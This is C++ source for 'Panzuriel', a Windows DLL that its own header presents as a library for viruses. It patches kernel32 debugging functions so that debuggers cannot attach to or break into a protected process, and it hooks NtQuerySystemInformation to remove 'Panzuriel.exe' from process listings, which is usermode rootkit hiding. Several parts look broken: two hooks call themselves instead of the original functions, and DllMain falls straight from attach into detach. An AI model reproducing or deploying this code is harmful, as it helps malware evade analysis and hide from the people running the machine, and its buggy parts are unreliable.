Panzuriel Anti-Debugging library
by Nomenumbra

See also the project folder

// Panzuriel.cpp : Defines the entry point for the DLL application.
//

/*
   
Description:	
   Panzuriel Anti-Debugging library.
   This DLL, once injected into a process will hook several important and commonly used
   debugging APIs, effectively hiding from and defending itself against them. It also hooks
   NtQuerySystemInformation, the root Native API to Process information functions (like Process32First) to hide
   the viral process specefied by PNametoProtect.
Disclaimer:
   The author is in no way responsible for any damage done by this code and/or anything remotely related, neither for
   the usage in a virus. This Library may in NO way be used in a commercial application without the author's explicit written
   premission. For the rest, it's distributed under the GPL.

   -Nomenumbra- 
*/

#include "stdafx.h"
#include <cstdlib>
#include <windows.h>
#include <tlhelp32.h>

/* Some structs */

typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING ,*PUNICODE_STRING;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;

typedef LONG KPRIORITY;

typedef struct _SYSTEM_THREAD_INFORMATION {
    LARGE_INTEGER KernelTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER CreateTime;
    ULONG WaitTime;
    PVOID StartAddress;
    CLIENT_ID ClientId;
    KPRIORITY Priority;
    LONG BasePriority;
    ULONG ContextSwitches;
    ULONG ThreadState;
    ULONG WaitReason;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;



typedef struct _SYSTEM_PROCESS_INFORMATION 
{ 
    DWORD          NextEntryDelta; 
    DWORD          dThreadCount; 
    DWORD          dReserved01; 
    DWORD          dReserved02; 
    DWORD          dReserved03; 
    DWORD          dReserved04; 
    DWORD          dReserved05; 
    DWORD          dReserved06; 
    FILETIME       ftCreateTime;	/* relative to 01-01-1601 */ 
    FILETIME       ftUserTime;		/* 100 nsec units */ 
    FILETIME       ftKernelTime;	/* 100 nsec units */ 
    UNICODE_STRING ProcessName; 
    DWORD          BasePriority; 
    DWORD          dUniqueProcessId; 
    DWORD          dParentProcessID; 
    DWORD          dHandleCount; 
    DWORD          dReserved07; 
    DWORD          dReserved08; 
    DWORD          VmCounters; 
    DWORD          dCommitCharge; 
    SYSTEM_THREAD_INFORMATION  ThreadInfos[1];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

/*
NtQuerySystemInformation prototype (for address resolving)
*/
typedef DWORD (CALLBACK* NQI)(DWORD,PVOID,ULONG,PULONG);
NQI NtQuerySystemInformation;


BOOL WINAPI DebugActiveProcesshook(DWORD dwProcessId);

BOOL WINAPI ContinueDebugEventhook(DWORD dwProcessId,DWORD dwThreadId, DWORD dwContinueStatus);

VOID WINAPI DebugBreakhook(VOID);

BOOL WINAPI DebugBreakProcesshook(HANDLE Process);

BOOL WINAPI DebugSetProcessKillOnExithook(BOOL KillOnExit);

DWORD WINAPI NtQuerySystemInformationHOOK(DWORD SystemInformationClass,PVOID SystemInformation, ULONG SystemInformationLength,PULONG ReturnLength);


DWORD DebugActiveProcessAddr=0;
BYTE DebugActiveProcessBackup[6];

DWORD ContinueDebugEventAddr = 0;
BYTE ContinueDebugEventBackup[6];

DWORD DebugBreakAddr = 0;
BYTE DebugBreakBackup[6];

DWORD DebugBreakProcessAddr = 0;
BYTE DebugBreakProcessBackup[6];

DWORD DebugSetProcessKillOnExitAddr = 0;
BYTE DebugSetProcessKillOnExitBackup[6];

DWORD NtQuerySystemInformationAddr=0;
BYTE NQIBackup[6];

char* PNametoProtect = "Panzuriel.exe";

//this will hook a process and all of it's modules (loaded DLLs)
//the DETOURS way
DWORD HookGeneralFunction(const char *Dll, const char *FuncName, void *Function, unsigned char *backup)
{
	DWORD addr = (DWORD)GetProcAddress(GetModuleHandle(Dll), FuncName); // Fetch function's address
	BYTE jmp[6] = { 0xe9,			//jmp
		0x00, 0x00, 0x00, 0x00,		//address
		0xc3 };						//retn
	ReadProcessMemory(GetCurrentProcess(), (void*)addr, backup, 6, 0); // Read 6 bytes from address of hooked function from rooted process into backup
    DWORD calc = ((DWORD)Function - addr - 5); //((to)-(from)-5)	
	memcpy(&jmp[1], &calc, 4); //build the jmp
	WriteProcessMemory(GetCurrentProcess(), (void*)addr, jmp, 6, 0); // write the 6 bytes long jump to address of hooked function to current process
	return addr;
}

// simple function to retrieve process ID by name

DWORD GetProcessIdByName(char* PName) {
	// remember to unhook this, because else we'll be fooled!
	WriteProcessMemory(GetCurrentProcess(), (void*)NtQuerySystemInformationAddr, NQIBackup, 6, 0);					
    PROCESSENTRY32 pe32;
    HANDLE HandleProcessSnap;
    int rProcessFound;  
   	HandleProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // snap the handle like a picture
   	if (HandleProcessSnap == INVALID_HANDLE_VALUE)
	{
	  NtQuerySystemInformationAddr = HookGeneralFunction("ntdll.dll","NtQuerySystemInformation",NtQuerySystemInformationHOOK,NQIBackup);	// re-hook
      return 0;
	}
   	pe32.dwSize=sizeof(pe32); // set size
    rProcessFound=Process32First(HandleProcessSnap,&pe32);
   	do {
         if(strcmp(pe32.szExeFile,PName) == 0)
		 {
		   NtQuerySystemInformationAddr = HookGeneralFunction("ntdll.dll","NtQuerySystemInformation",NtQuerySystemInformationHOOK,NQIBackup);	// re-hook
           return pe32.th32ProcessID;
		 }
   	}while (rProcessFound=Process32Next(HandleProcessSnap,&pe32));
   	CloseHandle(HandleProcessSnap);
    NtQuerySystemInformationAddr = HookGeneralFunction("ntdll.dll","NtQuerySystemInformation",NtQuerySystemInformationHOOK,NQIBackup);	 // re-hook
   	return 0;
}

bool ResolveNQI() // resolve function
{  
  HINSTANCE hDLL = LoadLibrary("ntdll.dll");
	if (hDLL)
	{
	  NtQuerySystemInformation = (NQI)GetProcAddress(hDLL,"NtQuerySystemInformation");
	  if (!NtQuerySystemInformation)
	  {
	    FreeLibrary(hDLL);       
		return false;
	  }
	  else
	  {
        FreeLibrary(hDLL);
		return true;
	  }
	}
	else
	{
	  FreeLibrary(hDLL);
	  return false;
	}
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{

	switch (ul_reason_for_call)
	{
	  case DLL_PROCESS_ATTACH:
		  {

            DebugActiveProcessAddr = HookGeneralFunction("kernel32.dll", "DebugActiveProcess",DebugActiveProcesshook, DebugActiveProcessBackup);
			ContinueDebugEventAddr = HookGeneralFunction("kernel32.dll","ContinueDebugEvent",ContinueDebugEventhook,ContinueDebugEventBackup);
			DebugBreakAddr = HookGeneralFunction("kernel32.dll","DebugBreak",DebugBreakhook,DebugBreakBackup);
			DebugBreakProcessAddr = HookGeneralFunction("kernel32.dll","DebugBreakProcess",DebugBreakProcesshook,DebugBreakProcessBackup);
			DebugSetProcessKillOnExitAddr = HookGeneralFunction("kernel32.dll","DebugSetProcessKillOnExit",DebugSetProcessKillOnExithook,DebugSetProcessKillOnExitBackup);
			if(ResolveNQI()) // did we resolve it? Yes -> hook it				  
              NtQuerySystemInformationAddr = HookGeneralFunction("ntdll.dll","NtQuerySystemInformation",NtQuerySystemInformationHOOK,NQIBackup);		
		  }
	  case DLL_PROCESS_DETACH:
		  {			
		    if(DebugActiveProcessAddr)
		      WriteProcessMemory(GetCurrentProcess(), (void*)DebugActiveProcessAddr, DebugActiveProcessBackup, 6, 0);
			if(ContinueDebugEventAddr)
			  WriteProcessMemory(GetCurrentProcess(),(void*)ContinueDebugEventAddr,ContinueDebugEventBackup,6,0);
			if(DebugBreakAddr)
			  WriteProcessMemory(GetCurrentProcess(),(void*)DebugBreakAddr,DebugBreakBackup,6,0);
			if(DebugBreakProcessAddr)
			  WriteProcessMemory(GetCurrentProcess(),(void*)DebugBreakProcessAddr,DebugBreakProcessBackup,6,0);
			if(DebugSetProcessKillOnExitAddr)
			  WriteProcessMemory(GetCurrentProcess(),(void*)DebugSetProcessKillOnExitAddr,DebugSetProcessKillOnExitBackup,6,0);
			if(NtQuerySystemInformationAddr)
	          WriteProcessMemory(GetCurrentProcess(), (void*)NtQuerySystemInformationAddr, NQIBackup, 6, 0);					
		  }
	}
    
    return TRUE;
}

BOOL WINAPI DebugActiveProcesshook(DWORD dwProcessId)
{
  WriteProcessMemory(GetCurrentProcess(), (void*)DebugActiveProcessAddr, DebugActiveProcessBackup, 6, 0); // temp unhook
  BOOL RetVal;
  if(dwProcessId == GetProcessIdByName(PNametoProtect))
  {
    SetLastError(0xDEADBEEF); // phun for the smartypants who want the last error
	RetVal = false;
  }
  else
    RetVal = DebugActiveProcess(dwProcessId);  
  DebugActiveProcessAddr = HookGeneralFunction("kernel32.dll", "DebugActiveProcess",DebugActiveProcesshook, DebugActiveProcessBackup);// re-hook
  return RetVal;
}

BOOL WINAPI ContinueDebugEventhook(DWORD dwProcessId,DWORD dwThreadId, DWORD dwContinueStatus)
{
  WriteProcessMemory(GetCurrentProcess(),(void*)ContinueDebugEventAddr,ContinueDebugEventBackup,6,0);
  BOOL Retval;
  if(dwProcessId == GetProcessIdByName(PNametoProtect))
  {
    SetLastError(0xDEADBEEF); // phun for the smartypants who want the last error
	Retval = false;
  }
  else
	Retval = ContinueDebugEventhook(dwProcessId,dwThreadId,dwContinueStatus);
  ContinueDebugEventAddr = HookGeneralFunction("kernel32.dll","ContinueDebugEvent",ContinueDebugEventhook,ContinueDebugEventBackup);
  return Retval;
}

VOID WINAPI DebugBreakhook(VOID)
{
  WriteProcessMemory(GetCurrentProcess(),(void*)DebugBreakAddr,DebugBreakBackup,6,0);
  if(GetCurrentProcessId() != GetProcessIdByName(PNametoProtect)) // don't break if this process (having a breakpoint set) is the process to be protected  
    DebugBreak();
  DebugBreakAddr = HookGeneralFunction("kernel32.dll","DebugBreak",DebugBreakhook,DebugBreakBackup);
  return;
}

BOOL WINAPI DebugBreakProcesshook(HANDLE Process)
{
  WriteProcessMemory(GetCurrentProcess(),(void*)DebugBreakProcessAddr,DebugBreakProcessBackup,6,0);
  BOOL RetVal;
  if(GetProcessId(Process) == GetProcessIdByName(PNametoProtect))
  {
	SetLastError(0xDEADBEEF); // phun for the smartypants who want the last error
    RetVal = false;
  }
  else
    RetVal = DebugBreakProcesshook(Process);
  DebugBreakProcessAddr = HookGeneralFunction("kernel32.dll","DebugBreakProcess",DebugBreakProcesshook,DebugBreakProcessBackup);
  return RetVal;
}

BOOL WINAPI DebugSetProcessKillOnExithook(BOOL KillOnExit)
{
  WriteProcessMemory(GetCurrentProcess(),(void*)DebugSetProcessKillOnExitAddr,DebugSetProcessKillOnExitBackup,6,0);
  BOOL RetVal;
  if(GetCurrentProcessId() != GetProcessIdByName(PNametoProtect))
    RetVal = DebugSetProcessKillOnExit(KillOnExit);
  else
	RetVal = false;
  DebugSetProcessKillOnExitAddr = HookGeneralFunction("kernel32.dll","DebugSetProcessKillOnExit",DebugSetProcessKillOnExithook,DebugSetProcessKillOnExitBackup);
  return RetVal;
}

DWORD WINAPI NtQuerySystemInformationHOOK(DWORD SystemInformationClass,PVOID SystemInformation, ULONG SystemInformationLength,PULONG ReturnLength)
{
  //unhook
  WriteProcessMemory(GetCurrentProcess(), (void*)NtQuerySystemInformationAddr, NQIBackup, 6, 0);					
  PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec;
  char *pname = NULL;	
  DWORD rc = NtQuerySystemInformation(SystemInformationClass,SystemInformation, SystemInformationLength, ReturnLength);	
	// Success? 
	if (rc == 0)
	{	 
		switch (SystemInformationClass)// querying for processes?
		{
			case 5:	//SystemProcessInformation
		pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION) SystemInformation; 
			
			while (1)
			{	
				// allocate memory to save process name in AINSI 				 
				pname = (char *) GlobalAlloc(GMEM_ZEROINIT,pSpiCurrent->ProcessName.Length + 2);								
				// Convert unicode string to ansi 
				WideCharToMultiByte(CP_ACP, 0, 
				    pSpiCurrent->ProcessName.Buffer, 
				    pSpiCurrent->ProcessName.Length + 1, 
				    pname, pSpiCurrent->ProcessName.Length + 1,
				    NULL, NULL);
				    // if process is hidden
				if(!_stricmp((char*)pname, PNametoProtect))				     
				{					
					if (pSpiCurrent->NextEntryDelta == 0) 
					{							
					    pSpiPrec->NextEntryDelta = 0;
						break;
					}
					else 
					{
						pSpiPrec->NextEntryDelta += 
						      pSpiCurrent->NextEntryDelta; // add deltas
						
						pSpiCurrent = 
						(PSYSTEM_PROCESS_INFORMATION) ((PCHAR) 
						pSpiCurrent + 
						pSpiCurrent->NextEntryDelta);
					}
				}
				else
				{
					if (pSpiCurrent->NextEntryDelta == 0) break;
					pSpiPrec = pSpiCurrent;
					// Walk the list 
					pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION) 
					((PCHAR) pSpiCurrent + 
					pSpiCurrent->NextEntryDelta);
				}
				
				GlobalFree(pname);
			}
			break;
		}
	}
	NtQuerySystemInformationAddr = HookGeneralFunction("ntdll.dll","NtQuerySystemInformation",NtQuerySystemInformationHOOK,NQIBackup);	
	return (rc);
}